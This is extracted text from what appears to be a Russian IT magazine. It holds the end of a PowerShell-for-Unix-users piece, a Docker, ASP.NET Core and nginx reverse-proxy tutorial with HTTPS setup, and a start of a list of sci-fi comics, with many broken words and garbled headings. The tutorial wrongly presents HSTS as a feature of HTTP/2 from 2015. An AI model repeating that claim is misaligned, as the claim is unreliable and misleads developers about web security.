Get‐ChildItem $env:USERPROFILE ‐Filter "*.txt" 

но столь ко полей нам не нуж но, вос поль зуем ся Select‐Object:

Get‐ChildItem $env:USERPROFILE ‐Filter "*.txt" | Select‐Object 
‐Property 'Name', 'Length'

При мер кода

man
Ко ман да из катего рии must have. Конеч но же, здесь ей есть дос той ный ана‐ 
лог в виде Get‐Help.

Get‐Help Get‐ChildItem

При исполь зовании сим вола под ста нов ки мож но получить раз личные сочета‐ 
ния, к при меру узнать, какие есть коман дле ты, начина ющиеся на Get‐:

Get‐Help Get‐*

ЗАКЛЮЧЕНИЕ
Как видишь, прак тичес ки у всех ути лит есть свои дос той ные замены. Конеч но,
где‐то они не так эле ган тны, как в Unix, но это по боль шому сче ту дело при‐ 
выч ки и опы та. Глав ное — про бовать, ана лизи ровать и верить в свои силы!
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АДМИН

Ка жет ся, Microsoft все боль ше и боль ше любит Linux! При- 
ложе ния ASP.NET Core теперь по-нас тояще му кросс-плат- 
формен ны и могут запус кать ся в «ник сах», а соот ветс твен но,
и в Docker. Давай пос мотрим, как их мож но упа ковать, что бы
раз верты вать на Linux и исполь зовать в связ ке с Nginx.

Î «ÄÎÊÅÐÅ»

О мик росер висной архи тек туре слы шали прак тичес ки все. Сам кон цепт раз- 
бития при ложе ния на час ти не ска зать что бы новый. Но, как извес тно,
новое — это хорошо забытое и перера ботан ное ста рое.

Ес ли пос тарать ся рас ска зать об архи тек туре в нес коль ких сло вах, то
веб-при ложе ние раз бива ется на отдель ные уни тар ные час ти — сер висы.
Сер висы не вза имо дей ству ют меж ду собой нап рямую и не име ют общих баз
дан ных. Это дела ется для воз можнос ти изме нять каж дый сер вис без пос- 
ледс твий для дру гих. Сер висы упа ковы вают ся в кон тей неры. Сре ди кон тей- 
неров пра вит бал Docker.

Для того что бы опи сать, что такое Docker, очень час то упро щен но исполь- 
зуют тер мин «вир туаль ная машина». Сходс тво опре делен но есть, но говорить
так неп равиль но. Про ще все го это раз личие понять, пос мотрев на сле- 
дующие изоб ражения из офи циаль ной докумен тации «Докера».

Docker

Вир туаль ная машина

Кон тей неры исполь зуют ядро текущей опе раци онной сис темы и делят его
меж ду собой. В то вре мя как вир туаль ные машины с помощью hypervisor
исполь зуют аппа рат ные ресур сы.

Об раз/Image «Докера» — это read-only-объ ект, который, по сути, хра нит
в себе шаб лон для пос тро ения кон тей нера. Кон тей нер — это сре да,
в которой выпол няет ся код. Обра зы хра нят ся в репози тори ях. Нап ример,
офи циаль ный репози торий  поз воля ет хра нить при ват но толь ко
один образ. Впро чем, это бес плат но, так что даже за это нуж но их поб лагода- 
рить.

Docker Hub

INFO

«Докер» не единс твен ный пре дос тавля ет кон тей- 
нериза цию: сущес тву ют и дру гие тех нологии.
Нап ример,  (про изно сит ся как «рокет»)
от CoreOS,  (про изно сит ся как «лек сди»)
от Ubuntu, Windows Containers ни за что не уга- 
даете от кого.

rkt
LXD

Раз бирать уста нов ку «Докера» осо бого смыс ла
нет, ведь его мож но уста новить на мно жес тво
опе раци онных сис тем. Ука жу толь ко, что ска чать
его под свою плат форму мож но из .
Если ты уста нав лива ешь Docker под Windows, то
необ ходимо, что бы в BIOS и в ОС была вклю чена
вир туали зация. О том, как вклю чить ее в «десят- 
ке», мож но про читать в статье «

».

Docker Store

Ус танов ка Hyper-V
в Windows 10

Те перь, ког да мы озна коми лись с теорией, давай перей дем к прак тике.

ÑÎÇÄÀÍÈÅ ÏÐÎÅÊÒÀ Ñ ÏÎÄÄÅÐÆÊÎÉ «ÄÎÊÅÐÀ»

«Докер» — это, конеч но, линук совый про дукт, но при необ ходимос ти мож но
его исполь зовать при раз работ ке под Mac или под Windows. При соз дании
про екта в Visual Studio для добав ления под дер жки «Докера» дос таточ но пос- 
тавить фла жок Enable Docker Support.

Под дер жку «Докера» мож но вклю чить и в сущес тву ющий про ект. Добав- 
ляет ся она таким же обра зом, как и раз личные новые ком понен ты: кон текс- 
тное меню Add → Docker Support.

Ес ли на тво ей машине уста нов лен и запущен «Докер», будет авто мати чес- 
ки откры та кон соль и выпол нена коман да

$ docker pull microsoft/aspnetcore:2.0

ко торая запус кает ска чива ние обра за. Этот образ фак тичес ки заготов ка,
на осно ве которой будет соз дан твой образ. ASP.NET Core 2.1 исполь зует уже
дру гой образ — .microsoft/dotnet:sdk

В дирек тории с решени ем для тебя будут авто мати чес ки соз даны сле- 
дующие фай лы: .dockerignore (исклю чение фай лов и дирек торий из обра за
«Докера»), docker-compose.yml (с помощью это го фай ла мож но скон фигури- 
ровать выпол нение нес коль ких сер висов), docker-compose.override.yml
(вспо мога тель ная кон фигура ция docker-compose), docker-compose.dcproj
(файл про екта для Visual Studio).

В дирек тории с про ектом соз дас тся файл Dockerle. Собс твен но,
с помощью это го фай ла мы и соз даем свой образ. По умол чанию (в слу чае
если про ект называ ется DockerServiceDemo) он может выг лядеть при мер но
так:

FROM microsoft/aspnetcore:2.0 AS base
WORKDIR /app
EXPOSE 80
FROM microsoft/aspnetcore-build:2.0 AS build
WORKDIR /src
COPY DockerServiceDemo/DockerServiceDemo.csproj DockerServiceDemo/
RUN dotnet restore DockerServiceDemo/DockerServiceDemo.csproj
COPY . .
WORKDIR /src/DockerServiceDemo
RUN dotnet build DockerServiceDemo.csproj -c Release -o /app
FROM build AS publish
RUN dotnet publish DockerServiceDemo.csproj -c Release -o /app
FROM base AS final
WORKDIR /app
COPY --from=publish /app .
ENTRYPOINT ["dotnet", "DockerServiceDemo.dll"]

На чаль ная кон фигура ция для .NET Core 2.0 не поз волит сра зу пос тро ить
образ с помощью коман ды . Она нас тро ена на то, что будет
запущен файл docker-compose из дирек тории уров нем выше. Что бы пос тро- 
ение пош ло успешно, Dockerle мож но при вес ти к подоб ному виду:

docker build

FROM microsoft/aspnetcore:2.0 AS base
WORKDIR /app
EXPOSE 80
FROM microsoft/aspnetcore-build:2.0 AS build
WORKDIR /src
COPY DockerServiceDemo.csproj DockerServiceDemo.csproj
RUN dotnet restore DockerServiceDemo.csproj
COPY . .
WORKDIR /src
RUN dotnet build DockerServiceDemo.csproj -c Release -o /app
FROM build AS publish
RUN dotnet publish DockerServiceDemo.csproj -c Release -o /app
FROM base AS final
WORKDIR /app
COPY --from=publish /app .
ENTRYPOINT ["dotnet", "DockerServiceDemo.dll"]

Все, что я сде лал, — убрал лиш нюю дирек торию DockerServiceDemo.
Ес ли ты исполь зуешь Visual Studio Code, то фай лики при дет ся генери- 

ровать вруч ную, хотя в VS Code и име ется вспо мога тель ная фун кци ональ- 
ность в виде . Добав лю ссыл ку на ману ал, как работать
с «Докером» из VS Code: . Да, статья на англий ском,
но она ведь с кар тинка ми. :)

рас ширения Docker
Working with Docker

ÒÐÈ ÀÊÊÎÐÄÀ «ÄÎÊÅÐÀ»

Для ежед невной работы с «Докером» дос таточ но пом нить все го лишь нес- 
коль ко команд.

Са мая глав ная коман да — это, конеч но, пос тро ение обра за. С помощью
bash/CMD/PowerShell заходим в дирек торию, где лежит Dockerle, и выпол- 
няем коман ду

$ docker build -t your_image_name .

Здесь пос ле парамет ра  зада ется имя тво его обра за. Вни мание: в кон це
коман ды пос ле про бела точ ка. Эта точ ка озна чает, что исполь зует ся текущая
дирек тория. Образ мож но пометить каким-нибудь тегом (номером или наз- 
вани ем). Для это го пос ле име ни пос тавить дво ето чие и ука зать тег. Если это- 
го не сде лать, то по умол чанию будет задан тег latest. Что бы отпра вить образ
в репози торий, в имя обра за нуж но вклю чить имя репози тория. При мер но
так:

-t

docker build -t docker_account_name/image_name:your_tag .

Здесь  — это имя тво его акка унта в docker hub.your_docker_account_name
Ес ли ты соз дал образ толь ко с локаль ным име нем, не вклю чающим в себя

репози торий, то пометить образ дру гим име нем мож но и пос ле пос тро ения
с помощью сле дующей коман ды:

$ docker tag image_name docker_account_name/image_name:your_tag

Что бы отпра вить изме нения в хаб, теперь нуж но выпол нить

$ docker push docker_account_name/image_name:your_tag

Пе ред этим необ ходимо зай ти в твой акка унт «Докера». На Windows это дела- 
ется из UI при ложе ния, а вот на *nix — коман дой

$ docker login

На самом деле трех команд недос таточ но. Необ ходимо еще иметь воз- 
можность про верить работу кон тей нера. Коман да, с помощью которой мож но
запус тить кон тей нер, выг лядит так:

$ docker run -it -p 5000:80 image_name

Па раметр  соз даст псев до-TTY, и твой кон тей нер будет отве чать на зап- 
росы. Пос ле запус ка коман ды сер вис ста нет дос тупным по адре су 

. Параметр  свя зыва ет 5000-й порт кон тей нера
с 80-м пор том хос та.

-it
http://

localhost:5000/ -p 5000:80

Кро ме того, есть такие коман ды:
 — покажет спи сок кон тей неров. Так как добав лен ключ -a,

то будут отоб ражены все кон тей неры, а не толь ко те, которые запуще ны
на дан ный момент;

• docker ps -a

 — эта коман да уда лит кон тей нер с име нем
container_name (rm — сок ращение от remove);

• docker rm container_name

 — отоб разит логи кон тей нера;• docker logs container_name
 — уда лит образ с име нем image_name.• docker rmi image_name

ÇÀÏÓÑÊ ÊÎÍÒÅÉÍÅÐÀ ×ÅÐÅÇ ÎÁÐÀÒÍÛÉ ÏÐÎÊÑÈ-ÑÅÐÂÅÐ

Де ло в том, что сами при ложе ния .NET Core исполь зуют свой веб-сер вер
Kestrel. Этот сер вер не рекомен дует ся для работы на production. Почему?
Есть нес коль ко объ ясне ний.

Ес ли нес коль ко при ложе ний делят меж ду собой IP и порт, то Kestrel
не смо жет рас пре делять тра фик. Кро ме того, обратный прок си-сер вер пре- 
дос тавля ет допол нитель ный слой безопас ности, упро щает балан сиров ку наг- 
рузки и нас трой ку SSL, а так же луч ше интегри рует ся в сущес тву ющую
инфраструк туру. Для боль шинс тва раз работ чиков глав ная при чина необ- 
ходимос ти реверс-прок си имен но в допол нитель ной безопас ности.

Мы спер ва вос ста новим началь ную кон фигура цию Dockerle, а пос ле раз- 
берем ся с фай лом  и поп робу ем запус тить наш сер вис
в оди ноч ку. Мой файл docker-compose, соз данный по умол чанию, выг лядит
так:

docker-compose.yml

version: '3.4'
services:
 dockerservicedemo:
   image: ${DOCKER_REGISTRY}dockerservicedemo
   build:
     context: .
     dockerfile: DockerServiceDemo/Dockerfile

Файл  добав ляет в кон фигура цию нес коль ко
нас тро ек:

docker-compose.override.yml

version: '3.4'
services:
 dockerservicedemo:
   environment:
     - ASPNETCORE_ENVIRONMENT=Development
   ports:
     - "80"

Пос тро ить соз данное решение мы можем с помощью docker-compose build,
а выз вав коман ду docker-compose up, мы запус тим наш кон тей нер. Все
работа ет? Тог да перехо дим к сле дующе му шагу. Соз даем файл nginx.info.
Кон фигура ция будет при мер но сле дующая:

worker_processes 4;
events { worker_connections 1024; }
http {
   sendfile on;
    upstream app_servers {
       server dockerservicedemo:80;
   }
   server {
   listen 80;
   location / {
       proxy_pass         http://app_servers;
       proxy_http_version 1.1;
       proxy_set_header   Upgrade $http_upgrade;
       proxy_set_header   Connection keep-alive;
       proxy_set_header   Host $host;
       proxy_cache_bypass $http_upgrade;
       proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
       proxy_set_header   X-Forwarded-Proto $scheme;
     }
   }
}

Здесь мы ука зыва ем, что nginx будет прос лушивать 80-й порт (listen 80;).
А получен ные зап росы будет пере адре совы вать на 80-й порт хос та в кон тей- 
нер dockerservicedemo. Кро ме того, мы ука зыва ем nginx, какие заголов ки
необ ходимо переда вать даль ше.

Мы можем исполь зовать HTTP в nginx, а дос туп к веб-сай ту нас тро ить
через HTTPS. Ког да HTTPS-зап рос про ходит через HTTP-прок си, то мно го
информа ции из HTTPS не переда ется в HTTP. Кро ме того, при исполь зовании
прок си теря ется внеш ний IP-адрес. Что бы эта информа ция переда валась
в заголов ках, необ ходимо изме нить код нашего ASP.NET-про екта и добавить
в начало метода Congure фай ла Startup.cs сле дующий код:

app.UseForwardedHeaders(new ForwardedHeadersOptions {
   ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.
XForwardedProto
});

Боль шинс тво прок си-сер веров исполь зуют заголов ки X-Forwarded-For и X-
Forwarded-Proto. Имен но эти заголов ки и ука заны сей час в кон фигура ции
nginx.

Те перь вклю чим образ nginx и файл  в кон фигура цию docker-
compose. Осто рож но, в YAML про белы име ют зна чение:

nginx.conf

version: '3.4'
services:
 dockerservicedemo:
   image: ${DOCKER_REGISTRY}dockerservicedemo
   build:
     context: .
     dockerfile: DockerServiceDemo/Dockerfile
   ports:
     - 5000:80
 proxy:
   image: nginx:latest
   volumes:
     - ./DockerServiceDemo/nginx.conf:/etc/nginx/nginx.conf
   ports:
     - 80:80

Здесь мы добав ляем к нашей кон фигура ции прок си в виде обра за nginx.
К это му обра зу «цеп ляем» внеш ний файл нас тро ек. Его мы как бы мон тиру ем
в фай ловую сис тему кон тей нера с помощью механиз ма под наз вани ем

. Если добавить в конец , то объ ект будет смон тирован толь ко
для чте ния.
volume :ro

Прок си слу шает внеш ний 80-й порт машины, на которой запущен кон тей- 
нер, и переда ет зап рос на внут ренний 80-й порт кон тей нера.

Вы пол нив коман ду , мы запулим, то есть извле чем
из репози тория, образ nginx и стар танем наш кон тей нер вмес те с кон тей- 
нером прок си. Теперь по адре су  он будет дос тупен
через nginx. На 5000-м пор те при ложе ние кру тит ся еще и под Kestrel.

docker-compose up

http://localhost:80/

Про верить, что зап рос к веб-при ложе нию про ходит через реверс-прок си,
мы можем так: открыть в бра узе ре Chrome developer tools, зай ти на зак ладку
Network, здесь клик нуть на localhost и выб рать зак ладку Headers.

За голов ки отве та в Chrome

ÇÀÏÓÑÊÀÅÌ ÊÎÍÒÅÉÍÅÐ ×ÅÐÅÇ ÏÐÎÊÑÈ È HTTPS

Вер сия ASP.NET Core 2.1 при нес ла с собой улуч шения под дер жки HTTPS.
Ска жем, такой middleware поз воля ет совер шать редирект с незащи щен ного
соеди нения на защищен ное:

app.UseHttpsRedirection();

А сле дующий поз воля ет исполь зовать HTTP Strict Transport Security Protocol —
HSTS.

app.UseHsts();

HSTS — это фича из про токо ла HTTP/2, спе цифи кация которо го была
выпуще на в 2015 году. Под держи вает ся сов ремен ными бра узе рами
и информи рует о том, что веб-сайт исполь зует толь ко HTTPS. Так обес- 
печива ется защита от downgrade-ата ки, во вре мя которой ата кующий может,
перей дя на незащи щен ный про токол HTTP, нап ример, понизить вер сию TLS
или даже под менить сер тификат. Как пра вило, дан ный вид атак исполь зует ся
сов мес тно с ата ками man in the middle.

Сле дует пом нить, что HSTS не поможет, если поль зователь заходит
на сайт по про токо лу HTTP и потом редирек тится на HTTPS. Сущес тву ет так
называ емый , который содер жит ссыл ки на сай ты, под- 
держи вающие HTTPS. Дру гие бра узе ры (Firefox, Opera, Safari, Edge) так же
под держи вают спис ки HTTPS-сай тов, соз данные на базе спис ка Chrome.
Но во всех этих спис ках содер жатся далеко не все сай ты.

Chrome preload list

При пер вом запус ке какого-либо Core-при ложе ния на Windows ты
получишь сооб щение о том, что был соз дан и уста нов лен сер тификат раз- 
работ чика. Клик нув кноп ку и уста новив сер тификат, ты таким обра зом сде- 
лаешь его доверен ным. Из коман дной стро ки на macOS добавить доверие
сер тифика ту мож но с помощью

> dotnet dev-certs https -trust

Ес ли ути лита dev-certs не уста нов лена, то уста новить ее мож но коман дой

> dotnet tool install --global dotnet-dev-certs

Как добавить сер тификат в trusted на Linux, зависит от дис три бути ва. В тес- 
товых целях исполь зуем имен но сер тификат раз работ чика. Дей ствия с сер- 
тифика том, под писан ным CA, ана логич ны. При желании мож но вос поль- 
зовать ся и бес плат ными сер тифика тами .Let’s Encrypt

Эк спор тировать сер тификат раз работ чика в файл мож но с помощью
коман ды

> dotnet dev-certs https -ep путь_к_создаваемому_файлу.pfx

Файл сле дует ско пиро вать в дирек торию 
под Windows или же в  под macOS/Linux. Для того что- 
бы кон тей нер под цепил путь к сер тифика ту и его пароль, необ ходимо соз дать
User secrets со сле дующим содер жимым:

%APPDATA%/ASP.NET/Https/
/root/.aspnet/https/

{
   "Kestrel":{
       "Certificates":{
           "Default":{
               "Path":     "/root/.aspnet/https/имя_твоего_сертификата.pfx",
               "Password": "пароль_от_твоего_сертификата"
           }
       }
   }
}

Этот файл хра нит незашиф рован ные дан ные и потому исполь зует ся толь ко
при раз работ ке. Соз дает ся файл в Visual Studio через вызов кон текс тно го
меню на икон ке про екта или с помощью ути литы  на Linux.user-secrets

На Windows файл будет сох ранен в дирек тории 
, а на macOS и Linux он сох- 

ранит ся в .

%APPDATA%\Microsoft\
UserSecrets\<user_secrets_id>\secrets.json

~/.microsoft/usersecrets/<user_secrets_id>/secrets.json
Для сох ранения нас тро ек на про дак шене некото рые дис три бути вы Linux

могут исполь зовать . Нас трой ки сох раня ются под атри бутом Service.
Нап ример, так:

systemd

[Service]
Environment="Kestrel _ Certificates _ Default _Path=/root/.aspnet/https/
имя_твоего_сертификата.pfx"
Environment="Kestrel _ Certificates _ Default _Passw
ord=пароль_от_твоего_сертификата"

Да лее при веду и раз беру сра зу рабочий вари ант кон фигура ции «Докера»
для прок си и кон тей нера через HTTPS.

Файл docker-compose:

version: '3.4'
services:
 dockerservicedemo21:
   image: ${DOCKER_REGISTRY}dockerservicedemo
   build:
     context: .
     dockerfile: DockerServiceDemo/Dockerfile
Файл override:
version: '3.4'
services:
 dockerservicedemo:
   environment:
     - ASPNETCORE_ENVIRONMENT=Development
     - ASPNETCORE_URLS=https://+:44392;http://+:80
     - ASPNETCORE_HTTPS_PORT=44392
   ports:
     - "59404:80"
     - "44392:44392"
   volumes:
     - ${APPDATA}/ASP.NET/Https:/root/.aspnet/https:ro
     - ${APPDATA}/Microsoft/UserSecrets:/root/.microsoft/usersecrets:ro
 proxy:
   image: nginx:latest
   volumes:
     - ./DockerServiceDemo/nginx.conf:/etc/nginx/nginx.conf
     - ./DockerServiceDemo/cert.crt:/etc/nginx/cert.crt
     - ./DockerServiceDemo/cert.rsa:/etc/nginx/cert.rsa
   ports:
     - "5001:44392"

Те перь опи шу непонят ные момен ты. ASPNETCORE_URLS поз воля ет нам
не ука зывать в коде при ложе ния с помощью app.UseUrl прос лушива емый при- 
ложе нием порт. ASPNETCORE_HTTPS_PORT дела ет редирект, ана логич ный
тому, какой бы сде лал сле дующий код:

services.AddHttpsRedirection(options => options.HttpsPort = 44392)

То есть тра фик с HTTP-зап росов будет перенап равлен на опре делен ный порт
HTTPS-зап росов.

С помощью  ука зыва ется, что зап рос с внеш него 59404-го пор та
будет перенап равлен на 80-й кон тей нера, а с 44392-го внеш него пор та
на 44392-й. Теоре тичес ки, раз у нас будет нас тро ен обратный прок си-сер- 
вер, ports с эти ми перенап равле ниями мы можем и убрать. С помощью

 мон тиру ется дирек тория с pfx-сер тифика том и UserSecrets при ложе- 
ния с ука зани ем пароля и ссыл ки на сер тификат. В раз деле  ука зыва- 
ется, что зап росы с 5001-го внеш него пор та будут перенап равлять ся
на 44392-й порт nginx. Кро ме того, мон тиру ется файл с кон фигура цией nginx,
а так же сер тификат и ключ к сер тифика ту.

ports

volumes
proxy

Что бы из одно го сер тифика та фор мата pfx (который у нас уже есть) соз- 
дать фай лы crt и rsa, мож но вос поль зовать ся OpenSSL. Сна чала необ ходимо
извлечь сер тификат:

$ openssl pkcs12 -in ./твой_сертификат.pfx -clcerts -nokeys -out domain.crt

А затем при ват ный ключ:

$ openssl pkcs12 -in ./твой_сертификат.pfx -nocerts -nodes -out domain.rsa

Кон фигура ция nginx сле дующая:

worker_processes 4;
events { worker_connections 1024; }
http {
   sendfile on;
   upstream app_servers {
       server dockerservicedemo:44392;
   }
   server {
   listen 44392 ssl;
   ssl_certificate /etc/nginx/cert.crt;
   ssl_certificate_key /etc/nginx/cert.rsa;
   location / {
       proxy_pass         https://app_servers;
       proxy_set_header   Upgrade $http_upgrade;
       proxy_set_header   Connection keep-alive;
       proxy_set_header   Host $host;
       proxy_cache_bypass $http_upgrade;
       proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
       proxy_set_header   X-Forwarded-Proto $scheme;
     }
   }
}

Прок си-сер вер прос лушива ет 44392-й порт. На этот порт при ходят зап росы
с 5001-го пор та хос та. Далее прок си перенап равля ет зап росы на 44392-й
порт кон тей нера dockerservicedemo.

Ра зоб равшись с дан ными при мера ми, ты получишь хороший бэк гра унд
для работы с «Докером», мик росер висами и nginx.

mailto:asommer@yandex.ru
https://hub.docker.com/
https://coreos.com/rkt/
https://www.ubuntu.com/containers/lxd
https://store.docker.com/search?type=edition&offering=community
https://docs.microsoft.com/ru-ru/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://hub.docker.com/r/microsoft/dotnet/
https://marketplace.visualstudio.com/items?itemName=PeterJausovec.vscode-docker
https://code.visualstudio.com/docs/azure/docker
https://hstspreload.org/
https://letsencrypt.org/
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_atomic_host/7/html/managing_containers/using_systemd_with_containers
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GEEK

В  то  вре мя  как  филь мы  по  комик сам  бьют  все  воз можные
рекор ды кас совых сбо ров, сами комик сы оста ются для мно‐ 
гих неиз вес тной  куль турой,  к  которой слож но под сту пить ся.
Бес конеч ные  серии  про  супер геро ев,  где  не  отыс кать
ни  начала,  ни  кон ца,  толь ко  укрепля ют  эту  репута цию.  Мы
подоб рали  десяток  комик совых  сери алов,  которые  пред‐ 
назна чены  для  взрос лой  ауди тории,  не  содер жат  людей
в  цвет ных  три ко,  име ют  струк туру  закон ченно го  про изве‐ 
дения  и  могут  хотя  бы  отда лен но  счи тать ся  науч ной  фан‐ 
тасти кой.

INFO

По  ссыл кам  ниже  ты  можешь  най ти  наши  под‐ 
борки хакер ских филь мов и фан тасти чес ких книг:
•17  луч ших  хакер ских  филь мов  всех  вре мен  (и
четыре отличных сери ала)

•15  серь езных  филь мов  о  хакер ской  куль туре
и изнанке индус трии

•13  книг  и  рас ска зов,  которые  ты  дол жен  про‐ 
честь до тех нологи чес кой син гуляр ности

Я пос тарал ся опус тить сов сем уж оче вид ные рекомен дации про читать «Хра‐ 
ните лей»  (The Watchmen) и V  for Vendetta — с нет ленкой Ала на Мура ты уже
навер няка  стал кивал ся.  Одна ко  без  клас сики  не  обой тись  никак,  поэто му
нач нем  со  ста рых  и  про верен ных  вре менем  рекомен даций,  а  потом  пос‐ 
тепен но перей дем к более новому и экспе римен таль ному.

TRANSMETROPOLITAN
На вер няка  где‐нибудь  на  прос торах  интерне та  тебе  уже  попада лось  изоб‐ 
ражение  лысого муж чины  в  стран ных  крас но‐зеленых  очках  и  с  тату иров кой
паука  на  голове.  Обыч но  он  сжи мает  в  зубах  сигаре ту  и  смот рит  на  нас
с дьяволь ским при щуром. Так вот, зовут это го товари ща Спай дер Иеру салим,
и  он  работа ет жур налис том  в  городе будуще го,  который  в  комик се  называ‐ 
ется прос то Город.

При  том  что  Transmetropolitan  далеко  не  нов  (пер вый  выпуск  датиру‐ 
ется 1997 годом, пос ледний — 2002‐м), он нис коль ко не утра тил акту аль нос‐ 
ти — ни в пла не обсужда емых проб лем, ни даже в пла не тех нологий.

Нап ример, на пер вых же стра ницах нам попада ется разум ный 3D‐прин тер,
который  отку да‐то  ска чал  себе  циф ровых  нар котиков  и,  нем ного  заг лючив,
напеча тал для Спай дера зна мени тые очки. Тот, кста ти, и сам не чужд вещес‐ 
твам — ина че какой из него пос ледова тель Хан тера Том псо на?

И  пусть  яркие  крас ки  не  собь ют  тебя  с  тол ку:  Город —  это  самая  нас‐ 
тоящая анти уто пия. По помой кам шас тают трех гла зые кош ки‐мутан ты, неоно‐ 
вые  вит рины  рек ламиру ют  сек суаль ные  уте хи  с  учас тием  кукол  из  «Мап‐ 
пет‐шоу»,  бес при зор ные  дети  гры зут  выращен ные  in  vitro  челове чес кие
конеч ности, и так далее, и тому подоб ное.

Прис тро ившись на кры ше стрип‐клу ба, Спай дер сра жает ся за пос ледние
кро хи прав ды, спра вед ливос ти и челове чес кого дос тоинс тва: стро чит колон‐ 
ку, где, не стес няясь в выраже ниях, выводит на чис тую воду кор румпи рован‐ 
ных полити ков. В общем, что тут может не пон равить ся?

THE INVISIBLES
Со вето вать The  Invisibles даже нем ного стран но — это зна мени тое про изве‐ 
дение,  которое  оста вило  в  исто рии  комик сов  след,  срав нимый  с  «Хра ните‐ 
лями».  Перес казывать  сюжет  тоже  бес смыс ленно:  кис лотные  видения
и  отсылки  к  поп‐куль туре,  рав но  как  и  прик лючения  коман ды  край не  неор‐ 
динар ных  лич ностей,  которые  ведут  вой ну  за  сво боду  челове чес кого  соз‐ 
нания  с  загадоч ной  Внеш ней  Цер ковью, —  все  это  гораз до  луч ше  изу чать
в пер воис точни ке.

Ты  можешь  спро сить,  что  в  нашем  спис ке  дела ет  мис тика.  The  Invisibles
здесь  ско рее  из‐за  темати ки  бун та  и  конт ркуль туры.  Впро чем,  этот  комикс
впол не мож но счи тать фан тасти кой — прос то в широком смыс ле и без пря‐ 
мых свя зей с тех нологи ями.

Приз наюсь:  я,  начав  уже  не  один  раз,  так  и  не  дочитал  «Невиди мок»
до кон ца. Харак терно, что каж дый раз при чте нии уда ется най ти что‐то новое,
но про цесс идет не быс тро и не лег ко. В общем, запасай ся тер пени ем — In‐
visibles того, безус ловно, сто ят.

Y: THE LAST MAN
И  сно ва  сов ремен ная  клас сика.  Y:  The  Last  Man  начал  пуб ликовать ся
в  2002  году,  а  закон чился  в  2008‐м. На  стра ницах  это го  комик са  тебя ждет
исто рия о том, как вирус унич тожил всех муж чин и живот ных‐сам цов на зем ле,
кро ме глав ного героя Йори ка и его руч ной обезь янки Амперсан да.

Йорик,  вмес то  того  что бы  стать  основным  источни ком  генети чес кого
матери ала, тща тель но мас киру ется и пересе кает Аме рику, что бы докопать ся
до при чин зараже ния, най ти свою воз люблен ную и (куда же без это го) спас ти
челове чес тво.

Ди ало ги  то  и  дело  ненавяз чиво  сво рачи вают  на  обсужде ние  полово го
неравенс тва и ген дерных сте реоти пов, но Y: The Last Man вряд ли уто мит тебя
моралью. Прик лючения со стрель бой, дра ками и лег комыс ленны ми пере оде‐ 
вани ями,  пос тапока лип сис  в  качес тве  живопис ного  фона,  ненавяз чивый
юмор,  яркие  пер сонажи  и  в  целом  край не  жиз неут вер жда ющий  нас трой
помога ют  прог лотить  все  60  выпус ков  за  нес коль ко  дней.  Так  что  заранее
выдели  под  это  выход ные  или  часть  отпуска,  а  не  то  можешь  слу чай но
выпасть из жиз ни.

TOKYO GHOST
Ес ли ты прос матри ваешь этот спи сок в поис ках нас тояще го тем ного и мелан‐ 
холич ного  кибер панка,  то  вот  он.  В  Tokyo  Ghost  изоб ражен  мир  далеко го
будуще го, которое подоз ритель но похоже на гро тес кный вари ант нас тояще‐ 
го:  боль шинс тво  людей  ведет  овощ ной  образ  жиз ни,  намер тво  под сев
на неп рерыв ную подачу циф ровых раз вле чений.

Ге роиня, воору жив шись катаной и мощ ной ненавистью к про исхо дяще му,
воюет  со  сле тев шим  с  катушек  искусс твен ным  интеллек том,  что бы  спас ти
сво его  бой френ да.  Прав да,  науч ной  фан тасти кой  все  это  мож но  наз вать
толь ко  с  боль шой  натяж кой,  которая  под час  рас тягива ется  сов сем  уж  тон‐ 
ко — осо бен но ког да в дело всту пает завезен ный геро ями из Япо нии древ‐ 
ний дух зем ли.

Глав ное дос тоинс тво Tokyo Ghost — в том, как все кра сиво: и нарисо вано,
и  при дума но.  К  тому  же  про дирать ся  через  десят ки  выпус ков  и  сле дить
за вет вле нием сюжет ных арок тебе не при дет ся: речь все го о десяти тон ких
кни жицах,  которые  выходи ли  с  2015  по  2016  годы.  Что бы  нас ладить ся  уни‐ 
каль ным сти лем и гля нуть на оче ред ной тем ный и безыс ходный мир — более
чем дос таточ но.

BLACK SCIENCE
Ес ли быва ет  тем ная магия,  то почему не быть  тем ной науке? Грант Мак кей,
глав ный герой этой пока что не окон ченной саги, изоб рел, с одной сто роны,
чудес ное, с дру гой — пуга ющее устрой ство. Оно поз воля ет ему и его коман‐ 
де  путешес тво вать  по  бес конеч ному  мно жес тву  парал лель ных  все лен ных.
И конеч но же, все идет не по пла ну уже на самых пер вых стра ницах.

Сю жет Black Science зак ручен нас толь ко лихо, а миры, по которым ска чут
герои,  нас толь ко  яркие,  что  голова  может  пой ти  кру гом  —  осо бен но  если
читать нон‐стоп (а соб лазн сде лать имен но так велик). Сюда же добавь глу‐ 
бокий пси холо гизм бес конеч ных отра жений одной и  той же исто рии люб ви,
пре датель ства и поломан ных семей ных отно шений. А вот науки здесь сно ва
минимум — воп реки наз ванию.

Ес ли  успешно  прог лотишь  Tokyo  Ghost  и  под сядешь  на  Black  Science,
не забудь гля нуть и дру гие комик сы их авто ра Рика Ремен дера. В пер вую оче‐ 
редь рекомен дую Deadly Class — исто рию о слож ностях жиз ни уче ников шко‐ 
лы  убийц.  Это  что‐то  вро де  Гар ри  Пот тера,  но  со  стро жай шим  воз рас тным
рей тин гом  и  укло ном  в  изу чение  молодеж ных  суб куль тур  вось мидеся тых —
девянос тых.

THE PRIVATE EYE
Од нажды вся информа ция, которую люди сох раняли в «обла ках», взя ла и про‐ 
лилась обиль ным дож дем: защиты рух нули и всё ста ло в одно часье дос тупно
всем. С тех пор челове чес тво боль ше не доверя ло компь юте рам и зна читель‐ 
но силь нее оза боти лось при ват ностью — нас толь ко, что на ули це не встре‐ 
тишь челове ка без мас ки на лице.

The Private Eye — исто рия час тно го детек тива, который ока зыва ется в цен‐ 
тре запутан ной исто рии и лов ко ее рас путыва ет. Но в дан ном слу чае важен
не столь ко сюжет, сколь ко попыт ка авто ра вооб разить, каким будет пох мелье
пос ле мас сового опь яне ния, в котором мы выб расыва ем в Сеть мас су лич ных
дан ных.

На вер няка мир Private Eye покажет ся тебе нес коль ко карика тур ным, но для
комик сов  это  впол не нор маль но. Осо бен но,  конеч но,  забав но  видеть  собс‐ 
